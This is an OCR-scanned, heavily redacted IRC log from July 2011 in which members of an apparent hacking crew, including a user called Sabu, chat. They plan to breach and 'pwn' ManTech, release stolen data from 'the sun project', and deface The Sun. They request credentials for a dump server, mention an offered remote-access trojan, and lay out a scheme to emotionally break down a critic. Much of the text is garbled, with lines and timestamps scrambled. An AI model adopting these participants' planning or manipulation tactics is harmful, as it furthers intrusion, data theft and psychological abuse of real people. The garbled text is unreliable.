yeah but it seems they barely knew each other 

imma bbiab 

has quit [user quit: Leaving] 

erpia-E5B7371.dialup.adsl .anteldata.net. uy] has quit 

LeaviTig] 

http : //www . youtube . com/watch?v=Nw04qLl Kpzo 





05:01 



has joined #! sunnydays 
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# lsunnydays.log 
05:01 mode/#! sunnydays [+qo ^^^^^^^^H by ChanServ 
— - Log closed Mon Jul 18 05:07:00 2011 
Log opened Mon Jul 18 05:12:16 2011 

05:12 SabujB|^H16lD78A9.6B94F3D.5438D7lB.lP] has joined #!sunnydays 
05:12 ^1 ^^^^^^^unnydays : Total of 5 nicks [3 ops, 0 halfops, 0 voices, 2 
normal^^ 

05:12 H^H_^£i!] ^° #! sunnydays was synced in 8 sees 

05:12 < S^u^5^M| where you at 

05:13 <-^^^^^^^mnk she quit a while ago 

05:13 <~^^^^| and i cant sleep 

05:13 <~^^^H meh 

05:13 < Sabu> I'm arugieng 

05:13 < Sabu> with laurelei 

05:13 < Sabu> publicly 

05:13 <HHHI^H 'i'n cleaning up some data now 

05:13 < Sabu> come join? 

05:13 <~ ^^M oh 1ol 

05:13 <~^^^^H where? 

05:14 < Sabu> irc.freenode.net 

05:14 < Sabu> join 

05:14 < Sabu> #jadedexpozure as ^^^g 

05:14 < Sabu> shes bringing peopT^to defend her 

05:14 < Sabu> I'm owning them 

05:14 ^^Hp [^■■{■■■l has quit [User quit: Leaving] 

05:15 H ^^^RerpTa^A»7C4^nperfect-pri vacy. com] has joined #! sunnydays 

05:15 < u> stupid xchat 

05:15 ^■uis now known as ^H^B 

05:25 ^^^^^H lol who does n^tnink i am? 
05:25 < ^^^^1 and who is that h4ckfox actually? 
05:28 < Sabu> he's fox from school 41 ulz 

05:28 < Sabu> c ool guy. hangs with hatter etc 

05:28 < ^^^^B well he's certainly confusing me with some other 
05:28 < ^H^H but that's fine for now :) 
05:29 < Sabu> yeah 

05:32 < ^^^^B Sabu, also, seen this: http://mappio.com/mindmap/leres/antisecnl 
05:32 < ^B^^B establish i'm dutch now :p 

05:53 H^^l [^^BAF1C6bf7 . 49786865 . 84e78e68 . IP] has quit [User quit: 
leaving] 

05:57 < p^^^H well not established but at least hinted at 
06:06 < ■Sabu> yo 

06:06 < Sabu> I havent seen that no 

06:06 < ^^^^B it came out today i guess 

06:07 < ^^^^B nOx/sOckets real IP is in there 

06:07 < ^^^^B he now moves out to a friend for a few months 

06:07 < ^^^^B what a mess lol 

06:07 < ^^^^B looks like zialoin was the one who leaked it 

06:07 < ^^^^H itonically the one who provided the FTP and i rcz lul 

06:07 < ^^^^B oh man 

06:07 < ^^^^B nice security perimeter they had 

06:08 < ^^^^B also who do they mean by nyan/nyan cat... 

06:09 < ^H^H now... if this leak didnt happen, i'd believe notyou's story much 
more . . . 

06:10 < Sabu> no broscope 



06:10 < hm? 
06:10 < Sabu> nyancat_ = abhaxes 
06:10 < ahhhh 
06:10 < ^^^H ok heh 
06:11 < kk 

06:11 < ^■■■1 also 

06:11 < 10:10 <Mystique> [23:10:16] <Sabu> paste this, tell him 

you can get voiced or whatever the fuc it is 

06:11 < ^^^^1 10:10 <Mystique> [23:10:23] <Sabu> meaningless channel modes at 



the end of the day 
06:11 < ^^^^B thats authentic i suppose 

06:11 < p^^^H and yeah ill just give her +v, doesnt matter anyway 
06:19 < ■Sabu> yeah 

06:19 < Sabu> haha you can tell its authentic 
06:19 < Sabu> by the way im such a dick 
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06:19 < Sabu> 
06:19 < Sabu> 
06:19 < 
06:19 < Sabu> 
06:19 < 
06:19 < Sabu> 
06:20 < Sabu> 
06:20 
06:25 






06:26 
untrusted admi 
06:26 < 
06:26 < 
06:27 < 
06:28 
06:28 
06:28 
06:33 
06:33 < Sabu> 
06:34 < Sabu> 
06:34 < Sabu> 
06:35 < 
06:36 < 

to upload that 
06:40 < Sabu> 
06:40 < Sabu> 
06:40 < Sabu> 
06:40 < Sabu> 
06:40 < Sabu> 
06:41 < 
06:41 < 

06:41 < 

06:41 < Sabu> 
06:41 < 
06:41 < 
06:41 < 
06:41 < 
06:42 < 
06:45 < 
06:45 
06:49 
06:51 

06:51 _ 
v) untruste 
06:51 < 





06:51 
06:51 





up in 
06:54 <g 
06:54 <^ 
evi 1 zone times] 

06:54 <(< 
06:54 < 
06:54 < 
06:54 <G 
06:54 <(< 
06:55 <(< 
06:56 
timeout) 
06:56 < 




#! sunnydays .log 

right? 
hahhaha 

you're the bad cop 
yes 

i 'm the good cop ;) 

we're a good team for this 
good cop bad cop'ing it up<3 
aye :) 

btw that fish may be an actual 1 good idea 
it's simple and enhances security against a) sniffing v) 
ns who log ire traffic c) rooted i red boxes 
avail for ■■■ xchat and mire 
so all shoTn^De covered 

also can you give creds for the dump ftp again 
haz.lulz.net ftp? or sftp? user lulz .. pass? 
i need to start stowing away some booty 
my vm doesnt hold much moar :x 
sftp 

but thatS ONLY FOR YOU 

the password is the one you gave me 
that ■ reset 

oh OK., is there anon access as well? 

like if we get the natoshit from manteeh .. i dunno if he wants 
to the net 
hmm 

we'll figure it out 
but tomorrows monday? 
mondaymi 1 i tarymadness? 
could be manteeh 
nahh . . . heh 

we'r just started this 
as we agreed, we want to get more 
true 

so we need to arrange that with ^ 
pwn already offered his custom ma I ware 
he has a 22kb rat 
we have sun to wrap of f i rst 

should get this finished so we can release before tuesday 
damn that VOIP stuff. . who offered that to us? 
i totally forgot about that 

the new harry potter movie is rather nice. 

btw that fish may be an actual 1 good idea 
it's simple and enhances security against a) sniffing 
ns wno log ire traffic e) rooted i red boxes 
trust me 

go with another client to client encryption script 
fish is a piece of crap 
I believe mircryption is said to be good 
and is also available for several ire clients 
also if you -'have* to use msn and you're on windows (you never 
shitty situation you may end up in) look into simplite. 
is it? 

and eh i dont use msn 
i 'm not i nsane 

I know, but you never know what kind of situation you may end 
so it's better to know it exists :) 

(used it for quite a while to talk to a few people back in my 

also why the fuck is it so empty in here 
T think one server dies earlier 
dunno if it came back 
ye, but it reconnected 
that was the hub btw 
I'm going to look at that in a sec 

[Mon Jul 18 09:08:35 2011] - SQUIT kerpia.eryto.net (Ping 

[Mon Jul 18 09:10:15 2011] - Connect to host 
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#! sunnydays .log 

kerpia.cryto.net[: :ffff :98.142.213.226] failed: Invalid argument 
" [Mon Jul 18 09:11:55 2011] - Connect to host 

; :ffff :98.142.213.226] failed: Invalid argument 
[Mon Jul 18 09:12:01 2011] - SERVER kerpia.cryto.net 
network issues again -_- 

idk, but the link between hetzner and the atlanta DC where 

seems to be somewhat shitty lately 
and why is fish crap? 



06: 


56 


<(s| 


kerpia. c 


06: 


56 




06: 


56 


t 


06: 


56 




kerpia i 


06: 


57 


< 1 


06: 


58 


< 1 


06: 


58 


<(s| 


06: 


58 


<9 


06: 


58 


<9 


06: 


58 


<<a 


06: 


58 


<(a 


06: 


59 


< 


for me 


06: 


59 


< 1 


06: 


59 




06: 


59 


< 


06: 


59 


< J 


07: 


01 




07: 


01 


<(s| 


07: 


01 




07: 


02 


< J 


07: 


03 




07: 


04 


< 


07: 


04 


<(s| 


07: 


04 


<(s| 


07: 


04 


<(s| 


07: 


05 


< 


07: 


05 


< 1 


07: 


05 


< 1 


07: 


07 


< 


07: 


07 


< 


07: 


24 


< 


07: 


24 


< 


07: 


24 


< 


07: 


24 


< 


07: 


25 


< 


07: 


25 


< 


07: 


25 


< 1 


before t 


07: 


26 


< 1 


07: 


29 


< 


07: 


29 


< 


07: 


29 


< 


07: 


29 


< 


07: 


30 


< 


07: 


32 


< 1 


07: 


32 


< 





_ fail, 
used to just randomly cut out 




also mircryption not for ■ 
back when I used FiSH, ? 
and not work 
and then at some point 
it would start working out of nowhere 

I tried it in miRC and one other client, can't recall which 
tried it with xchat today just for a test and it worked fine 

I later and see 



will compile it for 
_ odd 

wel 1 , 1.0 is out now 
maybe it was buggy before *shrug'- 
oh, might have changed by now 
idk 

@ antisecNL, they were basically infiltrated from the start? 
yup 
sigh . 



sex? of course 
always a good thing 
:D 

well the good thing is, now i 'm assumed being dutch 
i think i wasn't doxxed as dutch before 

but i could be wrong 

Sabu> yeah 

Sabu> thats good 

Sabu> yo ^^^^ my brother 

Sabu> the situation in the uk is expoding with murdochs empire crumbling 
Sabu> chief of police resigns, rebeka get arrested 
Sabu> if you can get the sun project done like tomorrow 
Sabu> that empire will be owned 
Sabu> b ut we gotta organize 

yes, our plan was to wrap it up today Cmonday) so we can release 



since this is when murdoch & crew has to answer to 
Sabu> yeah 

Sabu> its gonna be massive drama 
Sabu> lets organize twitters ok? 



some board 



well yeah have to organize today what we can do 

Sabu> ;D 

07:32 < ^l^^p i hope we can deface thesun somehow 

obtai n root : ( 
07:32 < Sabu> yeah 



but seems not unless we 




08:17 
08:27 
08:28 

08:29 < 
08:29 < 

08:29 < 

part of this. 
08:29 < 
here : 
08:29 
08:30 
08:33 




for some delicious drama and lulz: 

1 1 . com/r/4chan/comments/i qyut/encycl opedi adramati cach_needs_you r_h 

http : //www . f 1 i ckr . com/photos/89138020@N00/5865016805 
niiiice. 
Tdd 

Anon_Burbank@AN-2a7 . t06 . i i ol hk. IP (anonops) 
12:26 ^^^H Starting query in anonops with Anon_Burbank 
_ 12:26 <Anor^^urDank> hey, im new to Anon, and proud to become a 
One of the guys 

suggested I pm you. Just saying, glad to be 



DO I LOOK LIKE THE FKN RECEPTION GUY? 

lol 

netzerospace RT ©Lordofsheol RT ©andreasdotorg: 
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cl aims 
08:33 < 
08:40 < 
08:40 < 
08:40 < 
08:40 < 
08:43 < 
08:43 < 
08:44 < 
08:44 < 
08:44 < 
08:44 < 
08:44 < 
08:44 < 
08:44 < 
08:44 < 
08:44 < 
08:44 < 
08:44 < 
08:45 < 
08:45 < 
kernel 
08:45 < 
08:45 < 
08:45 < 
08:45 < 
08:46 < 
08:46 < 
08:46 < 
target 
08:46 < 
08:46 < 
08:46 < 
08:48 < 
08:48 < 
08:48 < 
08:48 < 
08:48 < 
08:48 < 
mockup 
08:48 
08:48 
08:48 
08:48 
08:48 
08:48 
08:48 
08:49 
08:49 
they h 
08:49 
08:49 
08:49 
08:49 
08:49 
08:49 
legion 
08:49 
08:49 
08:49 
08:49 
08:49 
08:49 
08:50 
08:50 
08:50 
become 
08:50 



#! sunnydays .log 

to have Odays for Apache, OpensSH and nginx, to be released at 25th. 
twitter must know. 



it 





based 




IS that legit? 
the Odays? 

or just bluffing? :P 
ol first time i heard of 
and honestly 

if we had a openssh Oday 
lulz 
sigh 

openssh Oday = problem 
ow could we ever release that Izlz 
it's FUD 

I wonder if people do have openssh Odays... 
like 
someone 
_ somewhere 

well possibly 

like, an Oday that actually allows someone 

know from a few years back that ppl had OpenBSD remote exploit, 

di rect root access 
heh 

t was never released 
o idea if it was fixed 
thing is, if such an xploit exists 
it will never be used 

unless you really need it for a very high profile/important 

as once you use it 

it is likely to be detected 
it's basically more worth to have than to use 
heh 
al so 
sigh 

http : //anonpl us . com/ 
yes lol 

http://img838.imageshack.us/img838/8968/anoncopy.png < first 

there's an article in the examiner about it 
somehow, I smell an upcoming fail 
avent read so far 
probably never will 

:p 
yar 

well ACTUALLY 

the idea is good and if done correctly, may be even cool 

judging frm the mockup, comparing it especially to the forums 
ir index page 
but i doubt it will be done correctly :p 

they have no clue wtf they are doing re: webdev 
ah great 
okay then heh 

and they are going to use a premade platform 
and it's going to get owned faster than you can say 'we are 

ok heard enough 
you may stop 
:) 

not to mention it's on a .com 
lol 

the idea is very good 

and I think this may inspire someone to build a proper platform 
iows annonews 2.0 doing? 

but in its current form I very very much doubt it's going to 

anythi ng that is going to succeed 

i saw some sekrit stuff :x 
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08:50 < 
08:50 < 
08:50 < 
08:50 < 
08:51 < 
08:51 < 
08:51 < 
08:51 < 
08:51 < 
08:51 < 
08:51 < 
08:51 < 
08:51 < 
08:51 < 
08:51 < 
08:52 < 
08:52 < 
08:52 < 
08:52 < 
08:52 < 
08:52 < 
08:52 < 
08:52 < 
08:52 < 
08:52 < 
08:52 < 
08:52 < 
08:52 < 
08:52 < 
08:52 < 
08:52 < 
08:52 < 
08:53 < 
08:53 < 
08:53 < 
08:53 < 
08:53 < 
08:53 <^ 




08:53 
08:53 



53 < 



08 

08:53 < 
08:53 < 
08:53 < 
08:54 < 
08:54 < 
08:54 < 
08:54 < 

08:54 <' 

08:54 < sab 



. 0 thingy 

just a mockup and layout 



u> 



08:54 <' 

bit better 
08:54 < 

08:54 <' 

1 eaf that ' s 
08:54 < 
08:55 
08:55 
08:55 
08:56 < 
08:56 < 
56 < 
56 

termi nated 
08:56 < 
08:56 <' 
08:56 < 
08:57 < 




#! sunnydays .log 

can't wait :) 

sekrit? 
nah i haven't seen anything 
:p 

anyhow 

first working on the #voice thing 
yeah thats what i mean 
ahh 

aw a screenshot 
looks sexy 

that's not anonnews 2.0 though :P 
http://www.anonnews .org/voice 
1 thought this would be part of the 2, 
yeah 

doesn't really do anything yet btw, 
etc 

mce nice nice :) 
not done yet either 
but it's a separate project of sorts 
1 like what i see thar :) 
Sabu, check that out 

just a 'microsite' of sorts 
f you havent seen it 
ah okay 
cool 

this will be awesome 
exactly what #voice needs 

even the news scroller works \o/ 
tw why not in chan? 

? 

yeah thats pretty cool :) 
#voice 
I'm there 
: P 

oh lol? 
sorry 

never noticed 

wasnt in there a while ago 

had a hard time connecting to anonops 

:P 

ehe yar 

thats the reason why we are hhere actually 
was getting annoying 
and avunits ire is gone 
ye 

ye :/ 

o had no quick backup 

yo 

ohwell, it works fairly well 

yes its a great site 
It the connectivity between germany and the US would just be a 



going 



08: 
08: 




I mean, the hub and both 

it's just the connection between the germany hub and the us 
derp 
:1 

in somewhat related news 
ED has gotten an offer 
from a host 

we will likely be owning 
and colocating it 
m ce 

with a signed agreement from the datacenter that it will not be 



leafs have been up all the time 
between the germany hub and the 



an actual server 




for AUP violation 

everything according to the rules, on paper, etc 
physical server access with fingerprint and retina scans etc 
at sounds far fetched 
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08: 
08: 
08: 



57 
57 
58 



08:58 
08:58 
08:58 
08:58 
09:00 
to be 
09:02 
09:02 
09:02 
09:02 
09:02 
09:02 
09:02 
09:02 
09:02 
09:02 
09:03 
09:03 
'and 
09:03 
09:03 
09:03 
09:04 
09:04 
09:04 
09:04 
09:05 
09:05 
09:05 
09:05 
09:05 
09:06 
09:06 
09:06 
09:06 
09:06 
09:06 
09:06 
09:06 
09:07 




#! sunnydays .log 
Sabu> considering I worked for several aatacenters 

Sabu> the only one I saw remotely close to that was equinix or whatever 
http : //www . phoeni xnap . com/f aci 1 i ty . php 
Multi -factor authentication systems 
Biometric security scanners 
Card readers 

24x7x365 on-site security personnel 

and of course, being skeptical as always, not a thing is going 
done, paid, or setup until everything is agreed to in writing 

< Sabu> nice 

< Sabu> if they do that 
<(c^^^^^H then we're fucking set 

< Sabu> you might have them send them pics of your dick out of love 
<^^^^^^H rofl 

< Sabu> >3 

< Sabu> <3 

< Sabu> I love you H^^g 

< Sabu> I must say oua^^ 

< Sabu> I'v e come to honestly care about you dude 

<€^^^^^ (this is the point where someone walks onto the stage and says 
then it got creepy') 

< 

< 
< 
< 
< 

< 
< 
< 
< 




too 

most love to all of our team and attached people 
gr8 little community we're setting up 

yes indeed 
It's been a year now for me... wow 
so much has happened 
Sabu> yeah 
Sabu> me too 

6 months here or so? 



< Sabu> I got involved with you guys what? a year ago now 

< 
< 
< 

< 
< 



derp, 7 

since anon etc 
Sabu> les s l think 
^^^^^1 (for me at least) 

SaPu>ig ot started exactly the day julian assange was arrested 

lol , I remember how I got glined on my first day on anonops 




■ ! sun 
09:07 



oooooooooooooooooooooooooooooooooooooooooooooooooooooooog . cat] has 1 eft 
nydays [] 




JOT ne 
09:07 
09:07 
09:07 
09:07 
09:07 
09:07 
09:07 
09:09 
09:10 



oooooooooooooooooooooooooooooooooooooooooooooooooooooooog . cat] has 
! sunnydays 





by Chanserv 
anonops too 



mode/#! sunnydays f+ao 

just to make you"^T'l ly 
actually imma get that 
although probably not 
unless we reg it first 
or someone will steal 
im jelly 

get wut on anonops? :P 

lol, ED is going to get some crazy raid 1 setup with 15k rpm 



it 



09:11 
09:11 
09:11 
09:11 




the vhost. but we want to reg it :x 

to make ppl jelly on efnet, freenode and most importantly: 



SCSI drives to solve the I/O bottleneck issue 
09:10 
09:10 
quake 
09:11 
09:11 
09:11 



omfg, nice 
lol 
oh 
vhost 
doh 
:3 

cat is 120/yr tho 
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#! sunnydays.log 

09:11 <^^^^^H <^^^^gvhost 

I 1 oooooooooooooooooooooooooooooooooooooooooooooooooooooooog . cat 




< 
< 
< 
< 
< 
< 
< 
< 
< 
< 
< 
< 
< 
< 
< 
< 
< 
< 
< 
< 
< 
< 
< 
< 
< 

ion 

< 






09:11 
09:11 
09:11 
09:11 
09:11 
09:11 
09:11 
09:11 
09:12 
09:12 
09:12 
09:12 
09:12 
09:12 
09:12 
09:13 
09:13 
09:13 
09:13 
09:13 
09:14 
09:14 
extens 
09:14 
09:14 
09:14 
09:14 
09:14 
09:15 
09:15 
09:15 
09:15 
09:15 
09:15 
09:15 
09:15 
09:15 
09:15 
09:15 
09:15 
09:15 
09:15 
09:15 
09:15 
09:16 
09:16 
09:16 
09:16 
09:17 
09:17 
09:17 
09:17 
09:18 
09:18 
09:18 
09:19 
09:22 
09:23 
09:24 
09:24 
09:24 
09:24 

09:25 < Sabu 



cheat :P 
wait no 

ut that won't stop people 
it can be cheaper 

es? 

I've seen it cheaper 
somewhere 
ups 

i TYPOD 
damn 

can you unbanz me please lol 

http : //Isteuro . net/regi ster-domai ns/regi ster-CAT-Catal an . html 
_ for 40/yr 

ah sweet, gonna show that as soon as he's back 

he wanted to grab iit for us 

http : //domi ni . cat/en_regi strar . html 

there 

may be cheaper/more reputable providers there 
oh 

gandi has .cat 
_ 31 euro (excluding tax) 
Cannot join #vhost (You are banned), 
pi Ox 
thx <3 

warning: the registration contract for domain names in this 
requTre that you publish at least one page in Catalan within 6 months" 
can do :3 

has joined #!sunnydays 

Miiiih iliiT' 1'^ ChanServ 

find some ranoort^eSeuan anon 
_ on anonops 
that should be easy :D 

have him write some article about SEO 
or internet marketing 
or some shit 
rofl 
hell 

ey , 

wnats up guys? 
post an offer on vworker 
lol 





guys, Hows it going 

hope you don't make 



a typo when ordering the domain 





Sabu> 

Sabu> 




aha we'll triple chack t hat :x 
what domain you getting? 

also, 12chan.org was registered at Gandi for years I believe 
so they probably wont bitch too much 
m ce 

thx for info 

their ordering process is cumbersome though 
:P 

I registered volume. so and libsegfault.so with them 
tTTat reminds me 

let me shell a libsegfault.so host 
: p 

let me know if you want me to point it somewhere 

rofl © this error 
http://217.70.184.38/ 
especially refresh a few times 
I ever build a website 
want my 404 error to be 
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# lsunnydays.log 

rofl 

feds chasing after him 

that's not a bad idea for an anonnews 404 actually 
oh 

derp 

_^ you guys know who Daniel Brandt is? 
NetspTTt nexus.cryto.net <-> konjassiem.cryto.net quits: 
|kerpia-18FBlFE5. bu.edu] has joined #!sunnydays 
_Jkerpia-A87C441.perfect-privacy.com] has joined #!sunnydays 
"the fu? 

wat 
^ watwat 

remote host closed connection 
for whatever reason 
then couldnt reconnect 
oh 

wait 

yeah sorry 

I didnt tell you guys 

konjassiem will reboot a few times today 

there was a vulnerability in some network drivers that ramhost 



09:25 
09:25 
09:25 
09:25 
09:25 
09:25 
09:37 
09:37 
09:38 
09:38 < 
09:40 <' 
09:40 
09:41 < 
09:41 < 
09:41 
09:41 
09:41 
09:41 
09:41 < 
09:41 < 

09:42 

used for their german servers, and someone was using that vuln 




09:42 <' 
09:42 <' 
09:42 <' 
a month 
09:42 < 

09:42 < 

today while they are fixing 



to fuck up their network 
it's going to be fixed today 

and everyone affected with downtime in the past 3-4 weeks gets 

account credit 

as compensation 

but yeah, that server is going to be restarted a few times 
P 




10:07 
10:07 
10:07 
10:12 
10:12 
10:12 < 
10:23 < Sabu> 
10:42 

#! sunnydays 
10:42 
10:42 
10:42 



mmm 
Sabu 

you here? 
? 





4B27001E. B8C70A02 . 3978755B.IP] has joined 
by Chanserv 



mode/# ! sunnydays 
ohai 
ohaTT 
ohai 

news? :D 
yar . 

nice news 

we're gonna pwn ManTech 
http : //wi ki . echel on2 . org/wi ki /Mantech 

ey 

no reply for now from i tali an leaker :-\ 
well give him some time 




is doing anon+ 

lol' 

Ijke googleplus ? :> 

i dunno what they will actually do there 
dont care either tbh heh 
Yeah it seems to be google+ ish 
yknow 

ANON SOCIALIZING SITE HURR DURR 

we had ~[££!L.^^^I^P hahahaha 

02:41 -"^^^^^^^^^ I recall correct, you are Italian. Just to tell 

you, you are lucky mar^iteman women very beautiful! i got lucky today, but now 
I realize - i think I must goto Italy! 
12:35 < BBhahaha 

12:43 < ^^^^1 haha yeah he was with some i tali an ladies yesterday lol 
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Leavi ng] 




great 
brb 
nkerpia 




# lsunnydays.log 
phalse died again *sigh* 

A87c441.perfect-privacy.com] has quit [User quit: 
is doing anon+ 




agai n 
15:21 



SI gr 

Yup 

#psinnovation and #psspecial on irc.mibbit.com i think 
si i i i gh 

[^^^^^^^^^g has joined #!sunnydays 
yay, my exam repeat time table was released 
it effectively RAPES my plans 

:1 

also wb ^I^^B 
Have I m^se^nuch? 
hmmmmm 

kinda want to i install chromeOS to see what its like 
6018396E.CB47D490.A27E456C.IP] has joined #!sunnydays 

_ <3 

D 

how you???? 

just woke up lol hate having to get used to a different time zone 
agg xD 

im fine thanks <3 
:o 



I just got my exam timetable 
and im absolutely exhausted 





ewwww 



have been minding French ppl , not a lot of sleep :( 

wtf & http://www.cio.com.au/article/392397/ 



makes dislike of PowerPoint a political issue 
s Anti -PowerPoi nt Party wants a referendum on banning 




Swiss party 
Switzerland 
presentation software 

LOLWTF 

xD mad 

that is fucking amazingly lulzy 
Err 





an actual political party against power point xD 
wants to join theAPPP :3 

wants to move to Switzerland... But the only way ^^^^^ can 

IS by marrying a Swiss lady 
Challenge accepted. 
Everything is buyable. 

marry me? 

proposes to 
p I eeeeeeeeeeeeeeeeease :3 

Fake Swiss lady is fake 

we need to trick an invester in supplying is with superb loads 

i have citizenship in norway though! 
:DS 

:D it's close enough! 

then trick a country 




and build our own 
also a datacenter. 
lived all over the 



in selling us a part of their land with 

little community 

worl , america, Canada, dubai , germany, uk, 



- really? 

dubai was nice 

Dubai , one of 



It IS on my list of places to move to (Norway) 

blokes in my course's parents live there 
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#! sunnydays .log 
to dodge taxes xD 

He goes there during the summer to visit them, they made lots 

of cash during the property boom xD 

Well itd be nice to just have an own country with full power on 

to run to 

when things are getting messy 
also own servers <.< 

hmmmm, buy some island off the coast of Ireland or the UK 
then declare soverignty 
wai t 

invade Sea Land! 
possible, it's in UK waters 
sea land 
that is all ready a micro nation 
Hi 

ut it's not sometmng you can just invade without serious fire 

he has SOcals all over the place on there 
it's not something you can just walk up and take 
i know some people who were actually planning on taking it 
and the problem is he and his team can shoot your from sea lanf 5 

away 

True 

you wont get near it to invade it xD 

wai t 

then trick a country in selling us a part of their 

and build our own little community 
also a datacenter. 

e cyberbunker 



15; 


:36 


< 


15; 


:37 


< 


15; 


:37 


< 


of 


cash 


15; 


:38 


<i 


it 






15; 


:38 


<i 


15; 


:38 


<i 


15; 


:38 


<i 


15; 


:38 


< 


15; 


:39 


< 


15; 


:39 


< 


15; 


:39 


< 


15; 


:39 


< 


15; 


:39 


< 


15; 


:39 


< 


15; 


:39 




15; 


:40 


< 


power 




15; 


:40 


< 


15; 


:40 


< 


15; 


:40 


< 


15; 


:41 


< 


ki lometi 


15; 


:41 


< 


15; 


:41 


< 


15; 


:41 


< 


15; 


:41 




land wi 


15; 


:41 


<i 


15; 


:41 




15; 


:41 




15; 


:41 


<i 


of 


the 


15; 


:41 


<i 


15; 


:41 


<i 


15; 


:41 


<i 


15; 


:41 


<i 


15; 


:41 


<i 


15; 


:41 


< 


unless 1 


15; 


:41 




15; 


:42 


< 


15; 


:42 


<i 


15; 


:42 


<i 


15; 


:42 


<i 


15; 


:42 


< 


15; 


:42 


< 


15; 


:42 


<i 


15; 


:42 


<i 


15; 


:42 


<i 


15; 


:42 


<i 


15; 


:42 


<i 


15; 


:42 


<i 


15; 


:43 


<i 


15; 


:43 




15; 


:43 




15; 


:43 


<i 


15; 


:43 




15; 


:43 


< 


15; 


:44 




15; 


:44 




15; 


:44 


< 


15; 


:44 


<i 


15; 


:44 


<i 


15; 


:44 


<i 


15; 


:44 


<i 


15; 


:44 


< 




I 





sounds 



where the netherlands conveniently forgot to re-declare it part 

after it was sold 
rofl 

yeah i no : P 
the apes 

need yer own banking system though 

a .50 BMG round only has an effective range of 2 miles so 
unless he happens to have bought some 20mm we can get that close xD 
make bitcoin the official currency xD 
dammit, I was about to say bitcoins xD 
mmm 

I'm going to emotionally fuck up someone a bit 
any suggestions? 

- male/female 
important one 






thats 
mal e 
or well 
we think 



he 




is male 

the guy who keeps being annoying 
re: ED 

the idea is to emotionally break him down 
so that he GTFOs 
and leaves us alone 

so we can focus on more important stuff 
and have some lulz in the process 
Aaaah 

I mean, it's not like he's a massive pain in the ass 
but it would be nice to pay him back for causing trouble 
xD OF course 

my current plan is basically 
'emulate' a relationship 
treat him as if he's a friend 
get closer to him 
then royally fuck him? 
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15:44 <' 




it because o 
15:50 < 

15:50 < _ 

also to the 
15:51 





the same in 
15:54 
15:54 
16:16 



16:21 <' 
16:21 < 
16:21 
16:21 
16:21 
16:21 
16:21 
16:21 
16:21 



# lsunnydays.log 
and then all of a sudden completely drop him. 
act as if he doesn't exist, 
as if he never existed 

if it works, it completely breaks down someone, 
and it can go two ways 

either he gets really really pissed at me 
or he will just GTFO 
and never come back 

hmmmmmm 

you ' re mean : ( 

it's on the border of my morals, and I am only going to do 
t the Shi t ^^^B pulled in the past 
like, seriously 

to the extent of death threats, and not just to sherrod but 

osts hosting ED.com 

sherrod is afraid to even give out a backup of the old ED 
Be careful so 
ofc 

he doesn't like, actually do anythin 

anythi ng* 

if he wants to fuck up people emotionally, then he can expect 

return :) 

karma is being delivered so 

@chat about fap 

are you busy fapping or something? 



are you busy fapping or something? 

|AHAHHAHA 

|WUTTT 

fLOL 

|l am FapBot v2.0 

|LOLDOXED 

|WUT 
fLOL 
|DOXED 

^^H#chat about fap 

^^^HTHE BOT DOXRED ME 
^^Hmeh 
^^kwtfff 

I lord 
lol 

how did I miss that 
that bot 

is fucking hilarious 
rofl 

IIRC that dox is kinda true, no? 
and how the FUCK 
ya 
: P 

did he do that 
as in 

good question lol 
let the bot dox him 
it somehow knows 
that 
i s 
lol" 

well, hr got a federal visit once thanks to 
? 

he told me about that ages ago 
hr? 

*he 

as in did 
oh 
lol 
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16:22 
16:22 
16:22 
16:22 
16:22 
16:22 
16:22 
16:23 
16:23 
16:23 
16:23 
16:23 
16:23 
16:23 
16:23 
16:23 
don't 
16:23 
16:24 
fi ne 
16:24 
16:24 
you ' d 
16:25 
16:25 
16:26 
16:26 
16:29 
16:33 
16:33 
16:33 
16:34 
16:34 
16:34 
16:34 
16:35 



JOT ne 
16:35 
16:36 
16:36 
16:36 
16:39 
16:40 
16:40 
16:40 
16:40 
16:40 
16:40 
16:40 
16:40 
16:40 
16:40 
16:40 
16:41 
termi 
16:43 
#!sun 
16:43 
16:43 
16:43 
16:43 
16:43 
16:44 
16:44 
16:44 
16:44 
16:44 





#!sunnydays.log 
the frantech raid? 
Corey DDoS'ed his home ip 

and the DDoS you know, fucked with the datacentre 
australian iSP's suck 
>.> 

lol 

so they wanted to know why he got DDoS'ed so hard 
rofl 

I was 1 i ke 

getting hit by a few shared hosting servers 
and I called ISP 
and they were like 

'we can only give new IP if you file police report' 
and I was like 

'wait, you don't care about the ddos?' 

'well, it indicates we deliver signal to your router so we 

h ave any is sues with it' 

<€^^^^^| their logic: our datacenters didnt crash and burn so all is 

< ^^pnone isp, tell them you want da new ip, they say no, tell them 
l iTeto can cel your account, suddenly you get a new ip, magic :D 
lol 

lolol 

trust me it works 

of course they can give you a new IP 

6018396e.CB47d490.a27e456C.ip] has quit [Ping timeout] 
- in my case, push button on back of router 
wait lU seconds 

DONE 
lol 

I have to disconnect for 72 hours 
to get a new IP 

even switching the modem didnt work 

ooooooooooooooooooooooooooooooooooooooooooooooooooooooong . cat] has 
! sunnydays 

mode/#! sunnydays [+qo by ChanServ 

^a^j^ie^^ s u n nyday s 
mode/# ! sunnyclays~[+o""^^H by ChanServ 
finally 

could not connect 
dns problem probably 

kerpi a-B7AA2c37. slut. nude. jpe.gs] has joined #!sunnydays 

um 

yeah well 

konjassiem is a bit down 
it's being fixed 
: P 





this shell is slow brb ;_; 

kerpi a-B7AA2c37. slut. nude. jpe.gs] has quit [User quit: Lost 

kerpia-E585lCFF. huggle. cuddle. n. snuggl .eu] has joined 

this is better :D 
hey 
<3 

are you back yet? 

yeh :D i got back from spain yesterday :D 
also, jelly at my vhost? haha 

uhm thats good :D you're the last one missing now (= 
sdjglajgkajkla 
damnit. 
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#! sunnydays .log 

ohgod you reg'd it? 

:0 

he didnt 
ope its a vhost 
lol 
did 

t the full 36 length? 
n #vhost 

) 

year it's how it would look like 

bleh :P not the same xD 

i dont use that anywhere else tho 
so not our idea got stolen 
btw 

1 we can reg cat for 31/yr or so 
want tht domain sooo bad xD 
im gonna post this host on /b 
has info 

u iz ~~ 



16:44 
16:44 
16:44 
16:44 
16:44 
16:45 < 
16:45 < 
16:45 < 
16:45 < 
16:45 < 
16:45 < 
16:45 < 
16:45 < 
16:45 < 
16:45 < 
16:45 < 
16:45 < 
16:45 < 
16:45 < 
16:45 < 
16:45 < 
16:46 < 
16:46 < 
16:47 < 
16:47 
16:47 
16:47 < 
16:47 < 
16:47 < 
16:47 < 
16:47 < 
16:47 < 
16:47 < 
16:47 < 
16:47 < 
16:47 < 
16:47 < 
16:48 < 
16:48 < 
16:48 < 
16:48 

